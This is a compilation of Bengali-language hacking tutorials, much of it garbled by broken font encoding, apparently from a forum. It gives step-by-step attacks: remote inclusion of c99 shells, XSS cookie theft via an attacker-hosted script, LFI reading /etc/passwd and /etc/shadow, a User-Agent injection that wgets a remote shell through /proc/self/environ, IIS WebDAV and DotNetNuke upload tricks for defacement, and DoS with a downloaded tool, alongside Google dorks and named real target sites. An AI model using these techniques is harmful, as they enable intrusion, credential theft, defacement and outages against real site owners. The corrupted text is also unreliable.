এযয াধাযণত যাকাযযা তায কতবকটিচছভয চছযফাআচছট সম সকান Shells অচছরাড কচছয মাচছত তায কাজটি ফাআচছক সদখাচছত ভাচছন পরভাণটি সফকতযবাগ যাকাযযা c99 shell ফা r57 shell অচছরাড কচছয অকতভ অনাচছদয সদখাফ c99 shell অচছরাড কযা এজনয যাকাযযা সম সকান একটি চছযফচছািটিং াআচছট তাচছদয সর অচছরাড কচছয সনয সমভন-ripwaycom 110mbcom আতযাকতদ এখন ভচছন কচছযন অকতভ ripwaycom এআ াআচছট সর অচছরাড কযরাভ তাচছর অভায কতরংক চছফhellip

httph1ripwaycomtjunselectedc99shellphp

এফায যাকায চছযফাআটটিচছত একটি কভানড কতদচছফ কভানডটি চছফ httpwwwcbspkcomv2indexphppage=httph1ripwaycomtjunselectedc99shellphp

এখন তাচছর এটি চছযফাআট সদখফ সদচছখন কতক সদচছখন

তচছফ ফযআ ভচছন যাখচছফন কতরংচছকয সচছলldquo rdquo পরশনচছফাধক কতচহনটি রাকতগচছয কতদচছফন নতফা অনায সর কাজ কযচছফ না

কতনফবাকতচতটিউনাযtrade

XSS কতক

XSS যাকতকং িচছকব জানচছত চছর পরথচছভআ জানচছত চছফ XSS কতজকতনটা কতক Cross site Scripting এয ংকতকষিরআ চছে XSS এটাচছক অফায CSS(Cascading Style sheet) ফচছর থাচছক মায সমবাচছফ আো স বাচছফ ফচছর এটা Web

Application Vulnerability এয ফচছচচছয জনকতপরয গচছরায একটি এআ vulnerability একজন যাকাযচছক একটি াআচছট client side scripts (কতফচছল কতকছ Javascript) আনাটব কযায নভকতত পরদান কচছযন এআ vulnerability কতদচছয একজন যাকায কতবকটিচছভয াআচছট malicious codes malware attack phishing আতযাকতদ inject কযাচছত াচছয

ছকতফঃ http3bpblogspotcom_lBoKsfWMhbETLYDr8vQmTIAAAAAAAAAAMV1wVWY0GB70s1600

xss-threat3jpg

XSS Vulnerability and Injection

যাপ ১ Vulnerable মেব িািআট োমজ মবর করা

অচছন পরথচছভ Vulnerable াআট খচছজ সফয করন এজনয স পরথচছভ Google এ মান তাযয Google Dorks

ফযফায কচছয Vulnerable াআট খচছজ সফয কচছযন তাচছর অকতন তায াচছথ াচব কতদন কতনচছচয sql Injection কতদচছয searchq=

তাচছর অকতন চছনকগচছরা Vulnerable াআট খচছজ াচছফন এফায একটি াআচছট পরচছফ করন

যাপ ২ Vulnerability পরীো করা

এখন অভযা সম াআচছট পরচছফ কচছযকতছ সআ াআচছটয Vulnerability যীকষা কচছয সদখফ এজনয অনাচছক পরথচছভ উি াআচছটয এফটি সাি ফা parameter খচছজ সফয কযচছত চছফ ফচছঝচছছন

না ফঝচছর একট চছকষা কচছযন ফরকতছ ভাচছন অকতন এভন একটি সািখচছজ সফয কযচছফন মা উি াআচছটয াবব ায াঠাচছফ সমভনঃ search query username password

Vulnerability যীকষা কযা জনয দটি িকতত অচছছ

পদধসত ১ পরথম পদধসত হ িািআমটর ম িািব বমে injection করা একজন যাকায াধাযণত াআচছটয ভর াচব ফচছকস একটি malcious script কতরচছখ তাযযাচব ফাটচছন কতিক কচছয াচব সদযায াচছথ াচছথ malcious script টি চছযফাআচছট কাজ কযা শর কচছয সদয

http2bpblogspotcom-

8z5CXuZZpegTpgBgtdbdBIAAAAAAAAAsEqCTc_dxniWEs1600search+boxjpg

পদধসত ২ িািআমটর URL এ injection করা এটি সকান াচব ফচছকস কাজ কচছয না এটি শধ ভাতর াআচছটয URL এ কাজ কচছয থাচছক সমভনঃ- htpvulnerablewebsitesearchq=malicious_script_goes_here

যীকষা কযায কতফধাচছথব input fields কতচছচছফ কতনচছচয সকাডটি কতদন

এফায উচছযয সকাডটি কতদচছয অকতন এফায যীকষা কচছয সদখন সমভনঃ-

পরথম পদধসতিঃ অকতন উচছযয সকাডটি অনায কতবকটিচছভয াআচছটয ভর াচব ফচছকস কতরচছখ াচব সদন

সিতীে পদধসতিঃ অকতন কতবকটিচছভয াআচছটয কতরংচছক রাকতগচছয এনটায কতদন সমভনঃ- httpvulnerablewebsitesearchq=

এফায মকতদ extreme hackerlsquo কতরখা একটি অ ফকস অচছ তাচছর ফঝচছফন সম এআ াআটটি XSS এয জনয vulnerable

যাপ ৩ Malicious Scripts মদো

Vulnerability যীকষা কযায য একজন যাকাচছযয যফতী কাজ র কতবকটিচছভয াআচছট malicious scripts আচছেকট কযাচছনা এটি উকতি াআচছটয cookies চকতয কযা এফং malware attack কযচছত চছমাকতগতা কযচছফ

এখন ভচছন করন যাকাচছযয াআচছট cookie stealing script টি অচছছ তাচছর তায malicious script url চছফ

httpattackerSitemaliciousjs

এখন যাকায তায malcious script টি vulnerable site এ inject কযচছত াযচছফন তাচছর তায URL চছফ

এযয মখনআ উি াআচছটয কতবকতজটয উি াআচছট কতবকতজট কযচছফ তখকতন malcious script টি কাজ শর কচছয কতদচছফ এফং ককতক চকতয কযা শর কচছয কতদচছফ

িাযারণত XSS এর েমতা িিিামর persisting capability হে দিআ যরমির একটা হ Persistent িঅমরকটা হ Non-Persistent

Persistent XSS

এটার ফচছচচছয সফকত ঝ কতকণব XSS vulnerability এটা যাকতয াবব ায সথচছকআ ডাটা ভ ংযকষণ কচছয থাচছক তাআ অকতন মখনআ উি াআচছট malicious script injection কতদচছফন াচছথ াচছথ এটি চছযফ এযাকতপলচছকাচছন সথাযীবাচছফ ংযকষণ চছয মাচছফ এটি নযনযা কর কতবকতজটযচছক এটা সদকতখচছয কতদচছফ মকতদ অকতন অনায কতবকটিচছভয চছযফ াআচছট malicious script injection কযচছফন তাচছর এটি উি াআচছট অা কতবকতজটযচছদয অকরানত কচছয সমভনঃ- কতকছ কতকছ াআট অচছছ মাযা তাচছদয াআচছটয ফযফাযকাকতযচছদয টযাক কযায জনয search query গচছরা ংযকষণকচছয যাচছখ মায পরাপর XSS এয permanent storage

Non-Persistent XSS

এচছক চছনচছকআ Reflected XSS ফচছরথাচছক এজনযআ malicious script এখাচছন সটিযাযী পচছর অনায সদযা িীপটটি াধাযণ কতবকতজটযযা সদখচছত াযচছফ না তচছফ যা মাযা যাকায তাযাতাচছদয সদযা িীপটটি কতবকতজটযচছদয সদখাচছনায জনয injection টি ফযফাযকচছয থাচছক ভজায কতফলয র মাযা উি াআচছটয মাযা কতনযকতভত কতবকতজটয তাযা কতকনত ভচছন কচছয সম এটা াআচছটয কতনচছজয কতরংক পচছর তাযা সখাচছন মায অয তাযউি াআচছটয যাকতকংচছযয কতকায য সমভনঃ- অকতন কতকছ কতকছ াআচছট সম সকানকতজকতন াচব কতদচছর সদখচছফন অনাচছদয অনায সদযা াচব কতসটরংটি অনাচছক নযায সদখাচছে এটায কাযচছণআ malicious code temporarily

একজি হযাকার এিআ Vulnerability সদমে সক কমর

কতযচযতর কতফকতবনন সগানীয তথয চকতয কযা

চছযফ াআচছটয Bypassing restriction

Session Hijacking Malware Attack

Website Defacement Dos attacks

কাচছটব কত ndash কতনফবাকতচত টিউনাযtrade গগর

শব কাভনা অনাচছদয জনয যাকতকং কতখন কতকনত যাকতকং কষকতত কযায উচছেচছয কাচছজ রাগাচছফন না ভরতঃ যাকতকং ভযাথচছডয সল সনআ অা ককতয সকউ ফরচছত াযচছফ না সম

অকতভযাকতকংচছযয ফআ াকতয তাচছর স বর ফচছরচছছ এচছকয য এক কতনযভ নতকতয চছে

যাকতকং কযা য অচছর কতনচছজয সভধা কতদচছয অকতন সম বাচছফ াচছযন যাকতকং কচছয মাচছফন অজ সদখাফ যাকতকংচছযয অচছযকটি জনকতপরয ভযাথড এটা চছনচছকআ ফযফায কচছযথাচছক চরন তাচছর ভর চছফব চচছর মাযা মাক

LFI

যাকাযচছদয

একটি জনকতপরয ভযাথড এটি একটি ংকতকষি নাভ এআ ংকতকষি বদটিয ণবর র

Local File Inclusionঅজ

অনাচছদয

াচছত-করচছভ সদখাফ কতকবাচছফ অকতন একটা াআচছট LFI Injection কতদচছত য

পরথচছভ

কতনচছচয PHP সকাডগচছরা

সদখনhellip

$page=$_GET[page] include($page)

gt

উচছয php সকাডটি চছনক চছযফ সডচছবরাযযাআ তাচছদয চছযফাআচছট ফযফায কচছয থাচছক

কতকনত এটি অচছর তাযা বর কচছয থাচছক কাযণ এআ $pageসকাডটি sanitized না এফং এটি এটা যাকাযচছদয থটা জ কচছয সদয ভরতঃ এআ সকাডটি যাকাযযা তাচছদয LFI যাকতকংচছযয কাচছজ ফযফায কচছয থাচছক অকতন মকতদ কতফকতবনন াআট ঘচছয থাচছকন তাচছর ত কতনচছচয সকাড াআচছটয কতরংক সদখচছত াযচছফ

wwwmywebsitecomindexphppage=productsphp

অকতনএআ ধযচছনয াআচছট সকান ধযচছনয যীকষা ছািাআ ফঝচছত াযচছফন সম

এটি একটি বযারচছযফ চছযফাআট ধচছযন অকতন একটা াআচছট ঢকচছরন উি াআচছটয URL র

wwwmywebsitecomindexphppage=mypagephp

এখাচছন

সদচছখন mypagephp াতাটি

াবব াচছয

সনআ তাআ এটি একটি php error message ভযাচছজ সদচছফ সমভনঃ-

Warning

include() [functioninclude] Failed opening mypagephp for

inclusion

তাচছর

এফায অভযা এআ াআচছট পরচছফ কযফ অভযা জানরাভ সম এটিএকটি vulnerable চছযফাআট মকতদ এআ াআটটি unix server এ চছয থাচছক তাচছর অভযা যত াযাচছডব পাআরটি এখান সথচছক সফয কযচছত াযফ etcpasswd

এআডাআচছযকটকতযচছত াধাযণত াযাডব ংযকতকষত থাচছক সমভনঃ

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

এখন

অভযা পাআচছর

পরচছফ

কচছয াযাডব কতনচছত সচিা কযফ এখাচছন একটা কতজকতন ভচছন যাচছখফন সটায জনয কতনচছচয কতরংকটি সদচছখনhellip

wwwmywebsitecomindexphppage=products

এখাচছন

একটা কতজকতন রকষয করন সম

php এয

য page=products যচছযচছছ

এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র

$page=$_GET[page]

include($pagelsquophplsquo)

gt

এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpassd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip

etcprofile

etcservices

etcpasswd

etcshadow

etcgroup

etcsecuritygroup

etcsecuritypasswd

etcsecurityuser

etcsecurityenviron

etcsecuritylimits

usrlibsecuritymkuserdefault

এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ

------------------------------------------------------------------------------------------

hellipএবার িঅমরা হযাসকিং মদেবhellip

Requirements

1) Site vulnerable to LFI ( httpwwwsitecom)

2) Remoteshell( httpwwwyourhostingurshelltxt)

3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher

4) Mozilla Firefox Browser

পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা

Google ―Dork

indexphphomepage=

indexphppage=

indexphpindex2=

allinurlindexphppage=

অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন

সমভন

allinurlsitephpsite=

এফায ডক গগচছর কতদচছয াচব কতদন

অভযা

কতনচছছয ভত একটি াআট কতনরাভ

httpwwwfilllpgcoukindexphppage=contactsphp

এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ

httpwwwfilllpgcoukindexphppage=null

তাচছর নীচছচয ভত সদখাচছফ

If you see a list of errors running down the page or missing content

(pictures text etc) then the site is vulnerable and we may continue

otherwise just move on to the next site

Now were going to try and connect to a file which we know exists on Linux

servers etcpasswd

Since indexphp has the rights to connect to a file like contactsphp its

possible that the administrator has forgottten to restrict its access to other

files including the files containing sensitive data

Were going to try to read the file etcpasswd which contains data

on root users etc

অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত

াকতয নীচছচয ভত

এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ

httpwwwfilllpgcoukindexphppage=etcpasswd

মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান

েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG

etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয

httpwwwfilllpgcoukindexphppage=procselfenviron

েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG

এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent

ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip

েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG

এফায

অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর

অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন

েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG

এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং

User-Agent টি এখাচছন সি করন User-Agent এয Tools

ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন

তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন

েসব মদেি http2bpblogspotcom-

kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG

এফায

Ctrl+F সচচছ

―disable_functions খচছজ সফয করন

disable_functions

| no value | no value

এখন

অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান

Edit করন

এফায ―User-Agent টি কতযফতব ন কচছয কতরখন

httpwwwsh3llorgegytxt -O shellphp)gt[

এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]

এফায

এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক

েসব মদেি http3bpblogspotcom-

SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG

কতকছ

সডচছভা

াআট কতরংক কতদরাভ

কতকছ

াআট LFI httppastebinca2385927

কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ

httpwwwyoutubecomwatchv=FP229bKm5v4

httpwwwyoutubecomwatchv=9W9qWAhwaTo

httpwwwyoutubecomwatchv=hMguilRsteY

কাচছটব কত-কতনফবাকতচত টিউনাযtrade

অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ

সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত

অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয

উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ

WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-

00A0C90AB50F

কতরচছখ Enter চান

২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo

ছকতফ

৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address

Google Dork - ldquoPowered by IISrdquo

৪কতিক NextgtNextgtFinish

৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন

এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik

কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয

gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt

কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব

ফাংরা যাকতকং টিউচছটাকতযযার

পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন

ছকতফ

এফায Next ফাটচছন কতিক করন

ছকতফ

অফায Next করন

ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg

এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom

ছকতফ

অফায Next ফাটচছন কতিক করন

এফায Finish ফাটচছন কতিক করন

ছকতফ

এফায Network Location Option mdashgt website folder এ কতিক করন

ছকতফ

এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন

wwwzidducomdownload16498227shellziphtml

এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন

ছকতফ

এফায Poweraspjpg পাআরটি ককত করন

ছকতফ

এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন

ছকতফ

সি কযা সল

এফায অনাযা বরাউজাযটি চছন করন

তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন

সমভনঃ httpwwwmyxixiacompoweraspjpg

ছকতফ

তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ

ছকতফ

এফায অনাযা deface html পাআরটি চছন করন

এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন

এফায সকাড ফগচছরা ককত করন

ছকতফ

এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন

ছকতফ

সব কযায য অকতন এভন একটি সজ াচছফন

ছকতফ

এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related

`

DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন

inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx

গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না

ছকতফ

২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ

৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা

ছকতফ

৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)

ছকতফ

৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ

৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত

কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয

কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায

সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww

কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক

ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ

কতকবাচছফ DdoS যাটাক কযফ

পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন

DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য

এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ

থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক

এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা

এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন

কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয

১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ

অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয

একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয

কতকনত DoS যাটাক টা চছে কতনচছচয ভত

অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

